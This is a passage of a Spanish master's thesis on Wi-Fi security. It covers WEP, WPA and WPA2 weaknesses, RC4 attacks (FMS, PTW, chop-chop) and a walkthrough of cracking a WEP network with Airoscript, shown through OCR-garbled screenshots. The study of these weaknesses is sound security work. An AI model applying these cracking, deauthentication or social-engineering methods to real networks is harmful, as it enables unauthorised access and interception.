claro. Incluso se podria deducir un prefijo atin mayor de los datos en claro.

En el caso de que se tenga informacién adicional sobre los servicios accesibles
en la red protegida con WEP (por ejemplo: telnet, ftp, http, etc) o sobre los mensajes
enviados o recibidos a través de ésta (por ejemplo, enviando spam a los usuarios de
las estaciones desde una red externa), seria mucho mas facil descubrir parte del texto

en claro de algunos mensajes intercambiados en esa red.

Incluso si no tenemos la certeza de ningun fragmento de texto en claro que se
transmita en dicha red inalambrica, pero disponemos de varios mensajes cifrados con
el mismo keystream, entonces operando un par de ellos mediante la funcién xor,
conseguiremos el resultado de aplicar esta funcibn a los datos en claro
correspondientes a tales mensajes. La operacién xor junto con estos mensajes en
claro pueden ser vulnerables a ataques estadisticos orientados a la frecuencia de

aparicion de los valores de los bytes.

Para recuperar el keystream asociado a una trama 802.11 cifrada o para
aumentar el tamafio de cierto prefijo de un keystream existen otros ataques. De todos
modos, este tipo de ataques es debido a las debilidades que posee el protocolo WEP
para comprobar la integridad de las tramas. Con la ejecucion de algunos de estos

ataques se puede reunir una coleccion de prefijos de cierto tamafio de keystreams
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distintos, que, posteriormente, se utilizaran para construir un diccionario formado a
partir de pares de IVs y sus correspondientes keystreams. Como consecuencia, Si
capturamos un paquete cifrado mediante un IV contenido en el diccionario, podremos
descifrarlo total o parcialmente empleando el keystream asociado a dicho IV en el

diccionario.

Con la operacién xor, es posible la conmutatividad y la asociatividad, las cuales
hacen posible las modificaciones sobre los datos cifrados (aplicandoles la operacién
Xor con una secuencia determinada) que producen el mismo resultado que si se

efectuasen tales modificaciones sobre los datos en claro, antes de ser cifrados.

Por otro lado, los ataques de fuerza bruta sobre bytes individuales del texto
cifrado se originaran gracias a la correspondencia univoca entre cada byte del texto en
claro y cada byte del texto cifrado. Esto sera posible si sabemos los valores en claro
de los restantes bytes y contamos con algin procedimiento que permita determinar si

el valor supuesto es el correcto.

RROYCANARBIRAV A= MCla
181815252 0 140|118/ 0220
S ASACETN|IIEIlVED
190190 2 4 2013/8 422 4 3
1018 7254 4 7 139 222226 3 | €= M(la + Clave
KR HY EEHN|T V|V ZD)| ®=criptograma

owwo—*o>

Clave (tan larga

como el mensaje)

M| S M| @

Figura 5: Ejemplo del cifrado de Vernam (suma médulo 27)

2.4.3 Integridad

Antes se comentdé como se usa el campo ICV para chequear la integridad de
una trama protegida con el protocolo WEP y también se indicaron las carencias del
computo, a través de la técnica del CRC-32, del valor contenido en dicho campo. El
mecanismo de autenticacién es la debilidad mas facil de explotar en los protocolos
WEP, ya que es la falta de autenticidad lo que habilita a cualquier atacante a calcular

el valor del campo ICV a partir de datos arbitrarios.

Por este motivo, un atacante que tenga un keystream lo suficientemente largo,
podria cifrar una trama cualquiera y enviarla a una estacion, sin que ésta avise que no

es una trama legitima. Dado un keystream, tanto el ataque de fragmentacion de Bittau,
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como el ataque inductivo de texto en claro escogido de Arbaugh aprovechan esta

debilidad para aumentar el tamafio de un prefijo.

El ataque de fragmentacién necesita que una estacidon vuelva a enviar una
secuencia de datos, a través de sucesivos fragmentos cifrados con el mismo

keystream, y que, después, los retransmita por el medio inaldmbrico.

El estandar 802.11 establece un limite maximo de 16 fragmentos para
transmitir una MSDU, luego eso conlleva a que un atacante que consiga un keystream
de N bytes de longitud podria utilizarlo para transmitir 16 fragmentos, cada uno con N-
4 bytes de datos utiles (descontando los 4 bytes del ICV), para asi capturar la trama

retransmitida, y obtener un keystream de longitud 16*(N-4).

En consecuencia, si un atacante cuenta con 8 bytes de un keystream y realiza
el ataque tres veces seguidas con éxito, recuperara un keystream que supere el

tamafio maximo del cuerpo de una trama 802.11.

El ataque Arbaugh, comentado anteriormente, puede incrementar en un byte el
prefijo de un keystream en cada paso del ataque. De esta forma, un atacante que
tenga un keystream de N bytes puede seleccionar un mensaje en claro de N-3 bytes,
calcular su ICV y concatenarlo con el mensaje anterior, para asi obtener una
secuencia de N+1 bytes. Es decir, que con el keystream disponible bastara para cifrar

todos los bytes de dicha secuencia excepto el Gltimo.

Para saber el valor cifrado del dltimo byte, el atacante ejecuta la busqueda por
fuerza bruta, o lo que es lo mismo, selecciona un valor arbitrario para este byte y envia
la trama con el mensaje resultante a alguna estacion que muestre algun indicio en

caso de que el mensaje sea valido.

Con todo esto explicado, es posible enviar dicha trama al punto de acceso,
para que la descifre y verifique la suma de comprobacion del campo ICV. Si el valor
del ultimo byte es el correcto, el ICV serd descifrado satisfactoriamente y se
comprobard que es valido, lo cual provocara que el punto de acceso reenvie la trama

dentro del propio BSS.

El algoritmo CRC-32 presenta otro inconveniente bastante importante sobre
valor presente en el campo ICV, nos referimos a su linealidad respecto al operador
xor. Esta provoca que los datos y el ICV puedan ser modificados (incluso cuando

estan cifrados mediante cifrado Vernam) aplicandoles la operacion xor con ciertas

26
Desarrollo tedrico y empirico de la seguridad en redes Wi-Fi



José Javier Navas Carrasco Master Universitario en Seguridad Informatica

secuencias predefinidas, de forma que la estacion receptora no pueda detectar tales

alteraciones.

Para lograr esto, lo primero es calcular el valor del CRC-32 de la secuencia con
la que se combinan los datos via operacibn XOR vy, después, se aplica la misma
operacion al ICV junto con este valor calculado. Los ataques de tipo bit-flip hacen que
algunos bits de los datos cifrados puedan ser conmutados, de igual forma que sucede
con los bits correspondientes de los datos en claro al ser descifrados, de tal manera
que el receptor no sea capaz de advertir la inversién de estos bits mediante la suma

de comprobacion contenida en el campo ICV.

Dada una trama cifrada con WEP, estos ataques pueden conducir a la
recuperacion de los datos en claro, teniendo en cuenta que algunas estaciones tengan
acceso a un host disponible en una red externa y que este host se encuentre bajo el
control del atacante. Este puede predecir la direccion de destino del paquete
descifrando un paquete previo perteneciente a una secuencia intercambiada entre los

mismos hosts.

En consecuencia, si la trama transporta un paquete IP y el atacante puede
predecir la direccion de destino del paquete, podria cambiar el destino del paquete y
dirigirlo hacia el host controlado por él. Para ello, sélo tendria que alterar ciertos bits
del cuerpo de la trama, correspondientes al campo que codifica la direccion IP
adecuada. Sitodo esto se realiza correctamente, el paquete debe llegar descifrado al
host controlado por el atacante ya que el protocolo WEP sélo se aplica al enlace

inalambrico entre dos estaciones.

Mas tarde, estos ataques se fueron mejorando y surgieron ataques como
“Chop-Chop” mediante el cual se cambiaba el ICV, pero sin tocar su correcta
verificacién; gracias a la alteracion de ciertos bytes de los datos y del tamafio de la
carga de datos. En resumen, permite descifrar una trama (y recuperar el keystream
con el que fue cifrada), obviamente, sin la clave WEP, pero también sin ningun

keystream previamente obtenido.

2.4.4 Algoritmo RC4

El algoritmo de cifrado en flujo RC4 fue disefiado por Ron Rivest en 1987. A
partir de entonces muchos investigadores han estudiado la seguridad de este
algoritmo, debido a la multitud de implementaciones y al disefio sencillo. Muchas de
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estas investigaciones analizaban los estados internos del algoritmo y las salidas
producidas por el mismo que dejaban a un lado el comportamiento aleatorio. De tal
manera que, algunas veces, fueron capaces de describir dicho comportamiento a
través de las correlaciones definidas entre las entradas, los estados internos o las
salidas.

Las secuencias generadas por RC4 [9] dieron lugar a estudios que permitieron
a varios autores elaborar algoritmos para diferenciar estas secuencias de bits de las
gue son realmente aleatorias; empleando para ello un keystream lo suficientemente

largo 0 numerosos keystreams generados a partir de claves distintas.

En el articulo [10], los autores identificaron una clase de vectores de
inicializacion, a los que llamaron IVs débiles. Para este conjunto de IVs, se dieron
cuenta de que existia una correlacion probabilistica entre ciertos estados de la fase de
inicializacion de RC4, mas concretamente entre la primera palabra del keystream
generado por este algoritmo y una palabra especifica de la clave WEP; aunque tal
correlacion puede generalizarse a otros prefijos conocidos, de mayor longitud, de una
clave RC4. Esto trajo consigo la apertura a los ataques de criptoandlisis contra una
clave WEP.

Como consecuencia, dado un IV débil y aplicando esta correlacion, puede
interpretarse el valor de un byte determinado de la clave WEP con una probabilidad
del 5% aproximadamente. Con la reunion de suficientes Vs débiles que ataquen el
mismo byte de la clave, deberia aumentar esta probabilidad y conseguir el valor
auténtico de dicho byte. Por todo esto, este ataque estadistico contra la clave WEP fue

denominado con sus iniciales (FMS).

En el mencionado articulo se refieren a él como un ataque de claves
relacionadas, ya que so6lo necesita la palabra inicial de estos keystreams generados

por claves RC4 distintas pero que guarden cierta relacion entre ellas (la clave WEP).

Destacar que los requisitos fundamentales para realizar este ataque, como son,
que el atacante conozca cierto prefijo de las claves RC4 y que las palabras iniciales de

los keystreams correspondientes; son totalmente ajenos al computo que realiza RC4.

De otro modo, Hulton recopilé una serie de patrones de IVs, que expresé de
forma algoritmica y que caracterizaban a una buena parte de los Vs débiles
existentes. Se entendia que el IV eran todos los prefijos de una clave RC4. Esto se

debié a que la busqueda de IVs débiles requeria que los ordenadores de la época
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fueran capaces de soportar una gran cantidad de procesamiento y un tiempo de

ejecucion bastante grande.

Con todo esto, se acelerd el proceso para distinguir si un determinado IV era
apropiado para atacar cierto byte de la clave WEP. También, dedujo diversas
probabilidades y compil6 algunas estadisticas relacionadas con los IVs débiles que se
ajustaban a esos patrones. Ademas, minimiz6 la amplitud de la busqueda para los
altimos bytes de la clave. En esta nueva mejora, al ndmero de candidatos

considerados para cada byte de la clave se le denominé fudge.

Meses mas tarde, implemento el ataque en cuestion y, después de comprobar
su rendimiento, public6 una declaracion sobre la ruptura de claves WEP con un
namero de paquetes que oscilaba entre 500.000 y 2.000.000. Para conseguir este
objetivo dedicé un tiempo de proceso que no superaba el minuto.

En los articulos [11] y en [12] se declara que son necesarios 700.000 paquetes,
con distintos Vs, para que la probabilidad de recuperar una clave WEP de 104 bits
supere el 50%. Esto dependera del nimero de bits de la clave ya que una clave WEP

de 40 bits puede romperse con aproximadamente 300.000 paquetes.

Hoy en dia, el ataque mas eficiente contra una clave WEP que necesita una
menor cantidad de paquetes, fue referenciado con las iniciales de los autores del
articulo [13].

No obstante, este ataque estad fundamentado en una propiedad del vector de
estado del algoritmo RC4, descubierto por Jenkins. La diferencia entre la probabilidad
de pronosticar el valor auténtico de una palabra de una clave WEP, por medio de esta
correlacion y la del ataque FMS es practicamente nula. Ademas, esta correlacion
permite que cada IV pueda ser utilizado para dicho pronéstico, lo cual lo convierte en
una ventaja crucial con respecto a la del anterior ataque. En consecuencia, cualquier
IV se considera “débil’, ya que en el ataque FMS solo hay 768 Vs débiles para el
primer byte de la clave WEP.

Como el ataque PTW no realizaba la busqueda de cada palabra de la clave de
forma secuencial, sino que lo hacia de forma independiente y en paralelo, esto hacia
qgue la efectividad del ataque PTW saliese a la luz; ya que la cantidad de paquetes
necesaria para romper la clave, se reducia drasticamente con respecto a los ataques

previos.
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Erik Tews estima, en su trabajo [12], que consiguiendo 35.000 paquetes con
distintos 1Vs, el atague PTW tiene una probabilidad del 50% de romper una clave WEP
de 104 bits, y si alcanza los 45.000 paquetes esta probabilidad llega al 85%. Sin
embargo, para una clave WEP de 40 bits, todos los expertos en seguridad coinciden
gue con un numero de paquetes entre los 10.000 y los 20.000 seria mas que

suficiente.
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3. Objetivos concretos y metodologia de trabajo

3.1 Objetivo general

Analizar el estado general del estandar IEEE 802.11 y la tecnologia Wi-Fi,
describiendo las caracteristicas técnicas de los protocolos WEP, WPA y WPA2; y
evaluando el nivel de seguridad que aportan a los sistemas mediante herramientas y

métodos de ataque.

3.2 Objetivos especificos

Para llevar a cabo el objetivo general antes propuesto, he tenido que cumplir

los siguientes objetivos especificos:

» Conocer y clasificar los diferentes estandares del IEEE 802.11.

» ldentificar las principales debilidades que existen en la seguridad de las redes
Wi-Fi.

» Analizar los mecanismos de autenticacion y los mecanismos de cifrado de los
protocolos de las redes inalambricas: WEP, WPA y WPA2.

» Explorar y desarrollar las metodologias del funcionamiento de los protocolos WEP,

WPA y WPA2.

» Verificar el escaso nivel de seguridad que nos proporcionan estos protocolos
mediante herramientas y métodos de ataque.

3.3 Metodologia del trabajo

3.3.1 Protocolo WEP

Lo primero que se realizo fue un estudio sobre los mecanismos de
autenticacion y cifrado que utilizan visitando numerosas referencias ya citadas en el
documento. Continuamos con el desarrollo en profundidad del funcionamiento de
dicho protocolo de seguridad para entender bien como se articulaba. El protocolo WEP

es sensible a los siguientes ataques:
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» Ataques estadisticos: en todos los sitios revisados, se refieren a él como FMS,
y consiste en la ejecucién de ataques estadisticos para intentar atacar las
debilidades del algoritmo RC4 y conseguir asi las claves de cifrado. Este
ataque permite la decodificacion de un paquete de informacién, conseguir la
clave y, por lo tanto, su posterior introduccion a toda la red y el posible analisis
de todos los datos que circulan por ella.

» Ataques inductivos: gracias a ellos, a partir de una calve compartida, se puede
conseguir el conglomerado de palabras que forman parte del lenguaje de las
cadenas cifradas (Keystream). Destacan aqui las técnicas de fragmentacion y
chop-chop.

» Ataques de autenticacién: su mecanismo se comentard mas adelante para
este protocolo en particular. Pero de manera resumida, ambos métodos de
autenticacién son vulnerables. En la autenticacion abierta el punto de acceso
nos deja de conectarnos sin control de acceso alguno y en la autenticaciéon por
clave compartida el PA necesitara que le otorguemos la clave que todos los
clientes que acceden al medio deben tener.

» Ataques de inyeccion: el escaso nivel de seguridad de este protocolo es
verdaderamente alarmante. Conociendo la cadena de cifrado o Keystream nos
permite crear un paguete de datos y ser inyectado en la red sin ninguna

prohibicion de seguridad.

» Ataques de diccionario y fuerza bruta: la implementacién de WEP permite
intentar todas las palabras del lenguaje que utiliza el punto de acceso, con el
objetivo de conseguir la clave compartida. Suelen ser caracteres
alfanuméricos. A diferencia del ataque de fuerza bruta, el ataque por
diccionario hace el proceso con un pequefio conjunto de las palabras, no con

todas.

» Ataque de denegacion de servicio: es independiente del tipo de disefio e
implementacion no sélo del protocolo de la seguridad, sino del estandar
802.11; ya que consiste en forzar a que el punto de acceso ejecute

nuevamente los mecanismos de autenticacion y asociacion.

Las herramientas que se van a utilizar para todo el proceso de ataque vendra
dado en su mayoria por herramientas que estan incluidas en la distribucion GNU/Linux
denominada Wifislax. Todos estos ataques comparten un inicio de ataque similar que
se ve reflejado en el caso practico del siguiente capitulo.
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Wifislax es basicamente un arsenal de herramientas para la auditoria de redes.
Caben destacar algunas como: Suite Aircrack, AirSnort, WepAttack, WepCrack,
WepLab, Mdk3, Airoscript, GOYScript Wep, Minidwep-gtk.

Ya en cada tipo de analisis se especifica como se van analizar los resultados.
Cada tipo de ataque persigue un fin, o conseguir el keystream o conseguir entrar al
medio, etc... por lo tanto, intentaremos conseguir o no el objetivo en cada tipo de
ataque. Con indiferencia del tipo de ataque a utilizar, en su gran mayoria resultaron ser
satisfactorios.

En el siguiente capitulo, para el protocolo WEP se muestran algunos ataques,
pero se han realizado otros muchos y con resultados satisfactorios; ya que de una
manera u otra siempre se consigue la contrasefa de la red Wi-Fi. El declarar y definir
paso a paso todos los ataques de este protocolo traeria consigo una extension de mas
de 300 folios en el documento aqui presente.

3.3.2 Protocolo WPA — WPA2

Respecto al estandar 802.11i, el protocolo WPA2 es la Ultima versién de su
disefio. A diferencia de WPA, mejora el algoritmo que se encarga de cifrar los datos,
es decir, que hay una evolucion del algoritmo RC4 al AES. Aungque es bastante
significativo este salto de calidad en cuanto al cifrado, se siguen produciendo ataques
de fuerza bruta o de diccionario. Esto es debido a que el saludo inicial del handshake
no fue corregido. Cabe destacar que las investigaciones realizadas para el protocolo
WPA son igualmente validas para WPA2.

Al igual que en el protocolo WEP, se ha realizado un estudio exhaustivo de los
mecanismos de autenticacion y de cifrado. Se ha continuado con una investigacion
para averiguar la arquitectura y el disefio de implementacion del protocolo de
seguridad WPA, para su posterior entendimiento. Se estudiaron las grandes

vulnerabilidades que presenta y se considerd que es débil ante los siguientes ataques:

> Ataque de diccionario y fuerza bruta: si se utiliza de manera correcta, el
protocolo WPA es complejo, seguro y fiable. Pero de todos modos, es
susceptible de sufrir ataques de fuerza bruta y diccionario. WPA muestra
algunas debilidades en el mecanismo de autenticacion entre los clientes y los
puntos de acceso (PA), es decir, en el saludo inicial de las entidades
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participantes. En el siguiente capitulo se detalla con mas exactitud este
proceso pero podriamos resumirlo enunciando que de los 4 paquetes que se
intercambian para el control de acceso a la red, tanto el segundo como el
cuarto presentan vulnerabilidades; los cuales coinciden con los envios de la
estacion al punto de acceso del MIC (control de acceso de integridad) y del
mensaje EAPoL en claro.

> Ataque de denegacion de servicio: a parte de los comentados
anteriormente, existen otros atagues generados por las vulnerabilidades que el
estandar 802.11i presenta en su disefio. Posteriormente se desarrollan, pero
presentan fallos de seguridad tanto en el protocolo de cifrado TKIP como en el
802.1X.

Existen multitud de herramientas de ataque que se puedan ejecutar contra el
protocolo WPA, para demostrar sus fallos de seguridad. En este caso, trabajaremos
con: Handshaker, BrutusHack, Airoscript, GOYScript Wpa, Minidwep-gtk. Todas ellas
incluidas en la distribucion Wifislax.

El andlisis de resultados de este protocolo vendra definido si  resultan
satisfactorios los ataques de las herramientas y o no, los cuales se fundamentan en
conseguir la contrasefia de red o no. La ejecucién de las herramientas ofrece
resultados en algunos casos satisfactorios y en otros no tanto.

Dependera e influirh mucho, factores como el nimero de clientes que estén
dentro a la red o el nivel de trafico de los paquetes de datos en ella, es decir, si hay
clientes conectados y realizan una simple navegaciébn o por ejemplo estan
descargando datos. Ademas de la fuerza con la que recibamos la sefial Wi-Fi.

De todos modos el porcentaje de resultados satisfactorios va integramente
relacionado a la fortaleza de la clave de seguridad de la red inaldmbrica. En ambos
protocolos, su seguridad dependerd de la fortaleza con que se forme la contrasefia.
Esta debe ser: larga, que contenga caracteres alfanuméricos con mayusculas,
mindsculas y caracteres especiales, que caduquen cada cierto tiempo y que cadezcan
de sentido alguno.

Si se dan los requisitos especificados del parrafo anterior, la captura del
handshake no es nada dificil, pero el proceso de crackeado/ataque progresard de
mejor o peor manera dependiendo de la velocidad de célculo, es decir, de las palabras
que compruebe por segundo. En la siguiente figura se muestra la velocidad

conseguida por parte de distintas herramientas:
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Figura 6: Comparativa de velocidad de aplicaciones

Como se puede observar, la aplicacion CalculaPMK 1.1 obtiene cuatro veces
mas respecto a Coxpatty y un 20% mas rapido que Aircrack en velocidad de calculo.
Tiene mayor rendimiento que las demas.

Para el desarrollo practico mostrado en el siguiente capitulo, es necesaria la
utilizacion de numerosas técnicas de ataque que de una manera dejaran en evidencia
el nivel de seguridad aportado por WPA y WPA2. Para el ataque de fuerza
bruta/diccionario se ha utilizado, entre otros, las herramientas Handshaker vy
BrutusHack; y para el ataque de denegacion de servicio, entre otros MDK3 y Aireplay-
ng. Esta Gltima genera trafico para después utilizarlo con aircrack-ng.

Se han realizado nimeros ataques gracias a las utilidades que nos aportan las
distintas herramientas. En particular, para el protocolo WPA2 con WPS, todos los
ataques acabaron de la misma manera, con el bloqueo del punto de acceso bien
porque el nimero de intentos de ataques al PA superaba un limite (3) o bien porque
detectaban que era la misma direccion MAC la que realizaba los ataques con su

posterior bloqueo de 60 segundos para reintentar el ataque.

En el desarrollo del ataque se observa como ambas restricciones se superaron

con la ejecucion del script ReVdK3-r2.sh.

Por dltimo se procede a la ejecucidén de una herramienta que se puede utilizar
independientemente del tipo de protocolo de seguridad empleado, ya sea WEP, WPA
o0 WPAZ2. Linset deja a un lado los requisitos de trafico de datos pero si mantiene la
obligacion de tener algun cliente en red. Es un método de ataque considerado de

Ingenieria Social, ya que es el propio cliente el que nos ofrece la clave de cifrado.
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El ultimo protocolo de seguridad ofrecido por el estandar IEEE 802.11i es
WPAZ2. La principal diferencia es la mejora del mecanismo de cifrado, en este caso se
utiliza el algoritmo AES, obviando a RC4. Como la falta de seguridad se sigue
produciendo en el saludo inicial (agarre de manos), los ataques de diccionario o fuerza
bruta se siguen cometiendo en WPA2. Por lo tanto, lo explicado anteriormente para el
protocolo WPA es totalmente similar a WPA2; a excepcion de las aclaraciones

especificas que se han realizado sobre WPA2.
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4. Desarrollo especifico de la contribucion

4.1 Protocolo WEP

4.1.1 Definicion y autenticacion

El protocolo WEP significa Wired Equivalent Privacy [14], o lo que es lo mismo,
Privacidad Equivalente al Cable. Proporciona seguridad y protecciéon a las redes
inalambricas. Dentro del estandar IEEE 802.11, WEP es uno de los protocolos de
seguridad. Su finalidad es ofrecer confidencialidad, autentificacion y control de acceso.
Ademas, no ofrece muchos cambios respecto a las normas 802,11a y 802.11b. Este
sistema de cifrado estandar lo soportan la mayoria de las soluciones inalambricas.

Su objetivo es garantizar que todos los componentes inalambricos tengan el
mismo horizonte de confidencialidad que las redes cableadas (LAN), lo cual se
consigue consiste en cifrar la informacién que viaje entre las distintas entidades. Los

datos protegidos por este protocolo, son cifrados con el propésito de dar:

- Confidencialidad para evitar que los datos sean alterados por los posibles

atacantes del sistema.

- Comprobar que solo estan dentro de la red las personas que estan
autorizadas para ello; es decir, que las personas que no tengan permiso, no puedan

acceder a las redes inalambricas.

WEP utiliza igual calve simétrica que estética. Estas son compartidas por las
estaciones y los PA. La norma 802.11 fuerza a introducir la clave manualmente, ya
que no dispone de ningun sistema de distribuciéon automatica para ellas. El tener que

meterlas en todos los elementos de red, dara lugar a varios inconvenientes.

El hecho de que la clave se encuentre en todas las estaciones es un grave
problema porque aumentard las probabilidades de ser comprometida. El tener que
escribir manualmente las claves dara lugar a que el administrador de la red no cambie
con la regularidad necesaria el sistema de claves por el aumento de tiempo en el

mantenimiento.
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4.1.2 Cifrado

Respecto al cifrado [15], tanto el cliente como el punto de acceso usan la
misma clave secreta. Toda la informacion intercambiada entre estas dos entidades,
debe ser cifrada usando para ello la clave que comparten con ayuda del algoritmo

RC4, del cual hablamos anteriormente.

Para proteger la informacién en transito (en comunicacion) de accesos no
autorizados, WEP ejecuta el algoritmo CRC-32 (comprobaciéon de integridad) sobre el
texto en claro, lo cual crea un valor de comprobacién de integridad (ICV). Luego, se
transmite en claro este valor y el payload, es decir, que se concatena uno con el otro.
Debe quedar claro que el IV no es mas que una enumeracién que se agrega a todos

los paquetes WEP y que se utiliza con el fin de descifrar y cifrar el contenido.

RC4 es de 64 hits, pero puede llegar hasta los 128 bits. De los 64 bits, 24 de
ellos forman el vector de inicializacion (IV) y los 40 bits restantes pertenecen a la clave
secreta, la cual se 40 bits son los que se distribuye de forma manual. De distinta
manera, el IV [16] se genera de forma dindmica y tiene que ser distinto para todas las
tramas. El propésito del 1V es cifrar con claves diferentes los paquetes de datos para
prohibir que si una persona no autorizada captura bastante trafico de datos cifrados no

pueda deducir la clave.

Es evidente que para que todo esto se lleve a cabo, los dos extremos de la
comunicacion deben saber la clave secreta y el IV. En los componentes de red, es
donde reside la clave secreta, luego se puede conocer y el IV, al generarse en un
extremo y enviarse al otro en la trama, igualmente sera conocido. Esto es asi porque
en la transmision del IV de una entidad a otra, se puede ver alterada por cualquier

atacante que tenga los conocimientos requeridos.

El RC4 es un agujero en lo que respecto a la seguridad dentro del protocolo
WEP. Est& constituido por 2 partes claramente distintas, el KSA que es un algoritmo

que programa las claves y el PRNG que se encarga de crear numeros aleatorios.

El KSA necesita de entrada al vector de inicializacion y la clave secreta que,
dependiendo del cifrado que se use, sera una trama de 64 o 128. De salida da lugar a

256 elementos de forma desordenada, todos ellos dentro de un vector llamado S.

El algoritmo PRNG [17] recibe como fuente de entrada este vector S, cuyo

tamarfio coincidira con el de la informacion que se tiene que cifrar.
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4.1.3 Metodologia del funcionamiento WEP

Teniendo en cuenta el cifrado de 64 bits [18], la metodologia desarrollada por el

protocolo para cifrar/descifrar la informacién contenida en una trama de datos seria:

1. Lo primero que hay que hacer es formar una cadena de 64 bits con la calve

compartida (40 bits) concatenada con el vector de inicializacion IV (24 bits).

2. Lo siguiente es calcular el ICV [19] de la informacion que se pretende cifrar.
Asi daremos lugar al par formado por los Datos y el ICV.

3. Seguidamente, a la cadena que tiene la clave compartida y el IV se le
ejecuta el programa PRNG, dando como resultado el Keystream, cuyo tamafio
coincide con el de la concatenacion de los Datos y el ICV (producto del paso

anterior).

4. Por ultimo, a las salidas de los pasos 2 y 3, que se corresponden con el
Keystream y los datos mas el ICV, se les ejecuta la funcion XOR.

5. A la salida producida en el paso 4 se le agrega el IV en claro usado y la
cabecera IEEE802.11; dando lugar al objetivo del proceso de cifrado de una

trama y preparada para ser transferida.

CLAVE CIFRADD

CORMPARTIDA

407104 Bit

| TEXTO EN CLARD | IcCv

TRAMMA ENCRIPTADA

[ v [keyiD| Payload -

DESCIFRADC

TEXTO EN CLARD | ICv |
CLAVE

COMPARTIDA AOR
40104 Bit RC_327

—

Figura 7: Proceso de cifrar y descifrar con WEP

En este instante la estacion destino ya ha recibido la trama. Otro de los
problemas que tiene el protocolo WEP es que en cualquier momento de la
transferencia, la trama de datos se transmite sin cifrar, con el riesgo de poder ser

interceptada por algun intruso no autorizado o por cualquier estaciébn que este a la
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escucha en el medio. Sin saber la clave compartida, la informacién que se puede
deducir de una trama cifrada seria: el 1V utilizado, las direcciones de las entidades
participantes en el proceso e incluso la direccién del BSSID.

A continuacion se muestran los pasos que tendria que dar el receptor de la
trama [20] para descifrarla de manera correcta:

1. Lo primero es que el destinatario saca el contenido del IV enviado sin cifrar,

agregandole este valor a la clave que comparten emisor y receptor.

2. Después se ejecuta el algoritmo RC4 dando lugar a un Keystream de igual

tamafo que la informacion cifrada.

3. Seguidamente, al Keystream y a la informacién cifrada se les realiza la
funcién XOR.

4. Como resultado obtenemos todo el texto sin cifrar.

5. Al final, se valida que la trama es correcta con el célculo del logaritmo CRC-
32.

4.1.4 Ataque al protocolo WEP

Actualmente existen numerosas herramientas y aplicaciones que nos
demuestran las vulnerabilidades que se pueden explotar en el protocolo de seguridad
WEP. Caben destacar algunas como: Suite Aircrack, AirSnort, WepAttack, WepCrack,
WepLab, Mdk3, Airoscript, GOY Script Wep, Minidwep-gtk. Todas ellas recopiladas en

una distribucién de Linux denominada Wifislax.

Entre todas ellas, las de mayor rendimiento son las herramientas de seguridad
“Airoscript” y “suite Aircrack”. Esta Ultima se puede utilizar para redes con protocolos
de WEP y WPA; ademas, admite diferentes ataques, destacando entre ellos el de DoS
(denegacioén de servicio). Su objetivo es rescatar recuperar la clave de cifrado. A su
vez la “suite Aircrack” se compone de distintas herramientas que tienen objetivos
distintos: Aireplay se encarga de la inyeccién del trafico, Airodump sirve para capturar

de las tramas o Aircrack que se usa con el fin de descubrir la clave.

Después de elegir el software con el que vamos a trabajar en las pruebas, paso

a desarrollar el conjunto de recursos hardware utilizados para los distintos ataques.
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Para realizarlos, no necesitamos tener un hardware muy especifico ni hay algo
imprescindible, tan sélo hace falta un ordenador portatil o de sobremesa y una tarjeta
de red inalambrica. En este caso, utilizaré:

> Ordenador portatil Lenovo:
e Intel Core i5
e 4 Gb de memoria ram

e Sistema Operativo: Ubuntu 64 bits (distribucion Wifislax) /
Debian 7.x (distribucién Kali Linux). Ambas instaladas en
VMWare Workstation 12.

> Tarjeta de red inalambrica Ralink 3070
e Velocidad de Transmision: 600 Mbps
e Ratio de transmision:150Mbps
e Protocolo inalambrico:802.11a/b,802.119,802.11n
e Potencia 3000 mW

A continuacion realizamos el ataque con ayuda de la herramienta Airoscript.
Describiendo cada uno de los pasos, y aportando pruebas sobre cémo explotar las

vulnerabilidades de dicho protocolo hasta conseguir la clave de cifrado.

El tiempo que tarde en conseguir el objetivo (en este caso menos de una hora)
estard integramente relacionado con la tarjeta inalambrica que usemos, el tipo de

ataque que elijamos y la configuracion del rater que intentemos vulnerar.

Lo primero que debemos hacer es ejecutar el VMWare Workstation 12, que nos
servira para elegir entre los dos sistemas operativos que tenemos instalados: Ubuntu

(Wifislax) y Debian 7 (Kali Linux). Para esta prueba técnica vamos a utilizar Wifislax.
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Player ¥ v CL) - =h » g o t% “‘o 2 L=

Eifislas

Arrancar con kernel SHP
Arrancar con kernel 486

Change to English menus

! r ntas
Iniciar Deteccién hardware
Ejecutar mentest

Reiniciar

Apagar el equipo

Acerca de esta opcién:

Esta opcidn nos lleva
al meni principal de
opc ione > arranque
1 SMP
s el recomendado.

Press [Tabl to edit options

Luego, ejecutamos la herramienta “Airoscript”’, seleccionamos la interfaz en

primer lugar y activamos la tarjeta de red inalambrica en modo monitor.

Player ~ > cip I I[=h » i g Ty o & =]

siroscript script-rali : - Konsole
Pref a
Adroscript-ralink
Autodetectande Resolucién... BOOx600

Sel iona una interface:

2) wland
L
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Player = > dh =y » 3 & W % 2 =l

PO X)) = es 2 a 10:57

Seguidamente, nos sale el mend de la herramienta, donde inicialmente
haremos un escaneo de las redes que haya disponibles, seleccionaremos el objetivo
gue queremos atacar, lo atacaremos vy, por ultimo lo crackearemos para obtener asi la

contrasefia. Todo esto se corresponde con la siguiente secuencia:

: siroscript-ral : - Kensole

INFO INTERFAZ

Interfaz = mon0® / modo Monitor
Chipset/Driver = Ralink RT2870/3076 -
Tu MAC = 00:0d:00:02: 9, e

U PRINCIPAL

Escanear -Buscar Objetivos
Seleccionar -Seleccionar Objetivo
Ataques -Atacar Objetivo
Crackear -Menu Crackear

5) Auto -Buscar Key Automaticamente
Desautenticar -Desautenticar del Objetivo
Inyeccién -Menu de Inyeccién
Opciones Avanzadas -Utilidades Varias
Salir -Cerrar Airoscript

MIOSCORE ; Aroscrpt-rah

Sin filtros
OPN
WEP
WPA
5) WPA2
WPA y WPA2
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Analizaremos ahora todos los canales y no uno es especifico:

Player ~ > o I 5 >3 e < @

SELECCIONA CANAL

1) Todos los <
2) Canal(es) «

o>

L = PSSPt L Scoscnpt-rak
- =

Aqui podemos ver ya la direccibon MAC del punto de acceso
(FA:F2:XX:XX:XX:XX) y todos los dispositivos conectados que hay a la red debajo
(60:36:DD:XX:XX: XX y 66:E3:27:XX:XX:XX).

- Escansando Objetives ..
eH 3 ][ Elapsed: 5 mins ][ 2016-09-16 11:09
BSSID PR Beacons  #Data, #/s CH MB  ENC CIPHER AUTH ESSID
F4:F2:60:E8:80:6A -16 266 283 8 13 5da, WEP WEP HIWIFX
BRSID STATION PR Rate Lost Frames Probe

60:36:0D =26  Sde- Ge 0 211 MIWIFI
B6:=E3:27 =58 0=1 a4 167 MINWIFI
